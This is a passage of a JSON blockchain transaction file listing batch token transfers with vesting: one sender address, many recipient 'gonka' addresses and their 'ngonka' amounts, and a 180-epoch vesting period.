\"gonka1qswp63txcftfdcgcle4lshkly0nmmlfr9ecj8r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34785029208\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14q3s4vmmlukl936q7e4asuwjnakv7u59hsvuwm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34699810342\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jyqp04yrjn8vdwqwkuwfd8nqal4d4vr3lpdyuk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34678286219\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jvp4r2dx3t0d736fmxy5ncgwp0w3kdy063m5ps\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34608772474\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1xuk3ganuhygvpge340sfepuwlr89s50fytlx2p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34550836403\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t0gevkpnxe8000ke344zuhf5ljwefmdxnfzp0g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34441986746\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sl8fmjg6glvq4gl9q9u4dyek74e2lzj2ucua5g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34373143271\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19w5vy2z5gz9f4jr76f8uz09023wz2snycaty05\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34354165145\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16jw23vytrm9cw93s2aea6s4g6f2zkrg6dch6wm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34270642651\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fjrq7m6xy9wpmm88vr63d08ps8dt9em38lhq08\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34243443664\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e6q0zgndr833egu2050lqqdg7tg8av62duv6em\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34053173676\"\n }\n ]\n },\n {\n \"recipient\": \"gonka106wrpdwkuudnxdm0lwzw2zharr8tfx7ug07p9f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33837315554\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dqgcdz94x42ukcfmy6crj55a0j2qucsaecx0j5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33771096244\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10gj5lnsxalcwzeve04k2pdzhx2nrlqp4hkrevd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33752736179\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a357vdludl6kpmx0c7cstf3vc0muu7t7ltw8sd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33655742883\"\n }\n ]\n },\n {\n \"recipient\": \"gonka148eld5kxu6k867pz6yxmwps0kpy7rdxg2x2xau\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33642299445\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e9muhlte58rwqrr3493qxcwcj8mqrg5azxa6v4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33452672982\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cze6ecxhaqxmls39l0kwxad50x2skqmk3hswlf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33330881406\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15g9vxflt3q92w07kcw099zjtc3lft9vwtr254x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33274192458\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j2g3g844qspgnjjrtmcrt55ssg4h6akdt4f66a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33264959641\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yw3ggwwftvp2u3vt9l5hcyqftkd05nu4j3h7sr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33206286702\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t4jkhfkwexdz6rm95rdd9qg2905uwd59jc7yyt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33195596171\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10qpuqx5xcp4l4yjfh49gdcedgjsh3eazjm470v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33112451957\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w2pxkv4v6r5h6sdvges287l2g5rsd3r4x77080\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33054621263\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vnmmnq4x9f7d3kume6xq2fh8x3mdye25gclzln\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32894864872\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jrwj2hqjwy5ulgkpdsdv6gwch7x4alnj88wmm5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32889996241\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j3xajqgg0mu9lvfu320mknu736nl0ltmeeqje7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32859737836\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4cynx8smndx0vc3j8h0x8ld8h9wyzzs73cxye\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32787729371\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dn2gwpylkpjmxhgpyp6vfwqp5awydtguck5wc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32775299091\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1evnq82x3j2mpf9a7mgrtuav2r2v635q7ekt96g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32774603729\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14hruf6ljltha9yklfgpd0s8jleyc3wdraatfre\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32768119221\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nfammd4gwrde0jhn7w0tfu0228a5jfmst76t34\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32744316972\"\n }\n ]\n },\n {\n \"recipient\": \"gonka122yzg0agje5a4nq8spx2fwe2cye79x7hz3shgl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32701398221\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mklzy8yt48wkk7qrgz485dn995zkvfmjy29nfz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32625393668\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xcvj6xlqy7p7fzyne5jqrnz96fa4xfh35vymwt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32621269459\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15lxz9w7m77dr04dxv7smxmc4xl2vr4klu2gclf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32567168832\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gum47e5sn43ughhktw5a46f7rc6cs2s08tpl69\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32519583467\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1neug285zahkpplsfmgrhnkmjjwzalk3z88uekt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32457360602\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p3jfqqnjuu20zyk5t5d9xhemys2z7zxrln5vv0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32452798094\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gg2jwjfjf22gda82gm947mjs8z0gpg9tk2eh3m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32400210330\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mxa996t7rjsuj8l7g82qfwcgy5yed5ckf9lr5k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32365494850\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13uuqfsenjazwu6am5fctzscar364s240zek5st\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32363472008\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pwumgsfldkzspvpun6rgty0evpz47l9mwa79v9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32361902785\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13vpvregum5amwn0s0qyfac0cdngxc2cq3cp67n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32292448899\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hvat7x6qspwh5vw2pynwcdh57kc6xjl8g67ljx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32279098218\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lp3q5zammhv5a7fmn5u58clz5k7wr0205h6llk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32235369089\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sytjktet2reklks2qk32f2pm4rrah2l0lm8c0c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32218931896\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x8pupvvcgcn00kguy9umycj98qgqehwlxt6l93\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32184179555\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xcjc32p5g72gc4tjxsm890star2l7w2g8n67w6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32110065428\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1urf86dzpmgx44afh32ug7yy3x6hw86gpm9te00\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32098302598\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jmynyvawnx9jlwd6he7q8hdltpy2dv2tz74daz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32080961460\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ta39vdtx4qmlwpvmpjyajn5yulflf0ye2nu4m4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32078160185\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lnus3x4dy0ze8naktrldft5edx4e36qc53yxjf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32045279321\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zqxg52qngwtgzgnrvljdwcwt9q0jz9r2djkpyj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32037212078\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m2rsvln78rv2rt4m0ypvzmg6z9pm803nef55k9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31953104138\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m3hfvjy92ewcvykqkk69j7kgkhffwxw0n8q0an\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31937771492\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y6g6xx6lyp3gdnyq7k9tm9fa7ykzjdx68hyzpx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31933368965\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mqmvutyh7h87fgw6k246c4q5n0xjjfn3vmqupj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31856310730\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ntlp35e8cyylh5fjmlzt0qvkhyjszsuwngd6ka\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31832976398\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2e6vzpws7dguken363g9zfs3835l7k3m2p8x0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31632833215\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1scl6c3zk73p920m83r2lndljprz68rjepez6u3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31613895044\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m3twars04gxy3dtxwjrvz4s7x82ljx4y35hmpt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31587952243\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18ulrvu3qfvvtq3s079dl2dwql2rev66zmgjk97\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31545402924\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1py2eckpy6nqu6uxnxzq8zdfwl533xewpca86sx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31533425283\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cx5jhxlg8mwjgl8v50h8ypcyxrz4qyh4ef20g4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31502791956\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pd4dw77pux8rz63v7wqeyx2nlun874e2l4ycve\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31501836223\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u894qk409f4rt7fta590n7fu6szsu6s8nqq0dj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31471079219\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvw4sad9uqe75tg3q9gaj8rhav7dc454wr2gxe\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31466429934\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vmhd38lxl68lm76755u4xdxp5wqm646a2hasze\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31391271778\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qlqjyqpmmq4r3fa8tfner44z78728z8ndkgvcc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31334651104\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rs07h66nfduhnf5qg7u968zqumragmmacuand8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31134689297\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000rv0ddp9yk6djr4y29mt0gu3m4p8mg4kmjcv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31018248930\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1evsnmudxqr9lxchjj5gsxq39qk4p3tr0y9uxu7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30946574535\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g8v99pzkqhc752fvh7fkn3vxznrgrx7pdraa7m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30652966655\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ekdjk6vfnsnn4dr8fsdeyjtg5g3c0wyp4z3ett\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30627286133\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pyvqmxs6rkv8sqpax42gkf9ffvlnqjcx0ht0va\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30537231760\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kjrvy4xme4ctepdjspjdw677nmvdwlps4hl5h8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30329750676\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1apdtylf7dfskdy545zv2pxvrfja286vrl7cqh8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30297241505\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000xjetteyu7gy726vnhdxq69y3meq04gvnk4d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30257047419\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qx3stahnpknaf8lq0kzdtedtxmq965hj9tp0jv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30103611780\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000sng4u5jm7jdjnwxvq6uwmw067mvcurd9205\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30052491473\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l059p34y0lcsuudgs8ln83nt6htjnmjcccqn7v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30045474025\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xk4mz0avlmvzser49tfrcgsjglq4a8u05j55p6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29865175360\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mev8s38pz9u55jkg46ql6lw8xlsnvf4ggcefd2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29862700465\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qxy42sc078ut52ws06nsa5fyzcfjyx7a56lw84\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29797245460\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xec9u9kczf7jckvtxgalghsfcnk938h2ng9flq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29780634312\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2t9xrr5qs8xxx7rayy37tjh7pvl0x4sdgnd8h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29746316564\"\n }\n ]\n },\n {\n \"recipient\": \"gonka185qz338ahgj324udxakau55tk9frygxrs8zduz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29568742112\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1af4yltv435t3f2mx0qkw2mafdrkmqng05g7l8a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29348401884\"\n }\n ]\n },\n {\n \"recipient\": \"gonka122dtadquy0ayf6nzx7thg6643w7cv0fcnqssq6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29338115964\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x4wafrl70272pzg3897zzefexwtmeuyar7tsll\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29286218804\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14m8tpzysrtjyew3s42mxq9u6gxz3pfacafq28k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29196937196\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uw0kpk6hcmm0sh05l27sq6m5max7pg0n2ptsuk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29162923009\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tj5jr5439yx3juzdcx77zgyhkq53u7dtsn6vc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29160747790\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u88dwqlx6ew6mhg0pp3wtjaf9d590w2z8706cu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29156743686\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kfsa9q7upj8wnqrkaud755y7w2vwug3pjp832h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29156126361\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nv5twlr9sl69g650apxxe0h4vy7mw6y8cx9sha\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29156019868\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e4qcqggpllj4ulsd97ha9agm2e05sd48d4lmyh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29145312078\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cy2l9yrumllfmm2gjs9vu9wmz2qq5qnjfy6sd3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29087280139\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wpar5p0kmn5cwwn5awzjeycgt6rkr58723fttn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28777782573\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1quxrzzy8dwhzpmsdql05nqdzj3u3n0syk4r6pr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28709079143\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d3vxnhh9tm8lahmnehhwcuqy7lc72rudn5hfpg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28656347359\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ndga0ugvxa975ftycq908hrscpcnt6enzvrzt8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28651721737\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nluanlq02cg8qrwyqn2qm2zf0mmlyqdevtf66a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28621080859\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dr9jslmgk9pp3kt0twe98g3hm5cnn2z3ehpaz2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28556369016\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16jp0xfvv20eg55wn2lxy298jms3g9wvtjfnkvf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28524035939\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tqr0yuykhd4j4wgzdzng46rd22c9jlfuxkz238\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28381133704\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l5v6g8xahf88pqnv3htq72c6kf792yvw3aqx39\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28359785290\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xrcdrdjy0s0e5nhy6nw3tcm9vrzn347qtct4p2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28330276533\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v8z57yg47n8h4zveyj4cdpn0ll8k9zpcm7egkv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28226744290\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1usa7alwmkwrvsu22fg4p8k2ftan35glprkkx4z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28140172307\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rss07hzdm9d3y45fg3s3rnxjgzs26yt0h7khs6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28114972205\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wjxkarkm69harhu6h77n56slpqmjg6ygarf4tl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28060817332\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cx4dkft2kzdzfjcuale2lw5cqaptdzgahwrj90\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28035258544\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ejjacwvwma37rn8wrf3je7gt8u7lulu7vh8ly\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27926968729\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h6829d8eykrqgev9jr630htpze3j220er9f2ag\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27921982770\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w50e3hn86mt8gmaknecnr4mez0j94vlw04lcjq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27903755847\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xlvxvzec4n4xn8mjyj88jrg7zlkmfqy9uglucu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27739201757\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wrcr9gxu2r94chjsuk3wpcqefsv7ts0rnc94ve\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27727239454\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1s5ysllxfjd9gglayqe3zpqfzsr4juq9ztzr78a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27630256085\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c8m85uzdz43j9k9539z7zsn4hp8k4qu9qc6cux\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27627053790\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u9832k7znn5k4an7a9ad8nmej0jswc7ep20q3n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27543558063\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sw7d7r42hqwgxz4ln2x4p4pjqxgejwqnxxzj3f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27537076467\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tpvcpcmmqcku5g53tv2q4wehgqw3nmeq3jk4vn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27513731840\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ut2k5s0jgnwx09nrkzvuprcd58m3afumcv87jm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27303988288\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10003spukrualhl3h80k9x5m9vrmvlmp8kf4t4w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27272106213\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nad4h437q7zl6nmwvuxzh9g73vkm5cdymxvuqp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27260782735\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z25rl5qzdeyn5hc6ktnzhpm09q2devk2568pql\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26803751077\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q0r6nmh849xatx62cd09axnx4et4egu4z7n7jj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26667340407\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100092zwvcksslturgx39lzwy6ztjxuttt3spej\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26561829616\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1679j5jww67exhkzdvsdw0n7ak7ukyszhy0mny6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26427638108\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1clpf7wtd8p333p20z3caasxxyru6gdqwhzuun9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26422116370\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yaqxj5hxmme0q7m2wutngne0fdyaajv83p558f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"26232511177\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fc50lzgcdmrr569grw2sflk7m8ew9ptrqzfru6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25852031521\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19k8devnfgkw5ftgsynjrewp4hcwnfph3ynqzfz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25832387144\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n5r055hu5tr63rgqs7xg4d45ar8q6yy3qdhn04\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25418754091\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pks9m29wqac2kxdj8v8acq58rjshh6u8y2a772\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25368378661\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10r7l6unulyg0wtk8kl980k7fpvjskxuxdtnt7t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25228485721\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yqpl6vwwyzkde0ngsclghy7dzyau0mjja3gva8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"24967799828\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17ry2rgtktp9f6etejw4ls2dnagrctxqvlu7e9k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"24660387802\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lzngx5unw6qu7f97zkq6wkvmk5aze4quwn7rnt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n 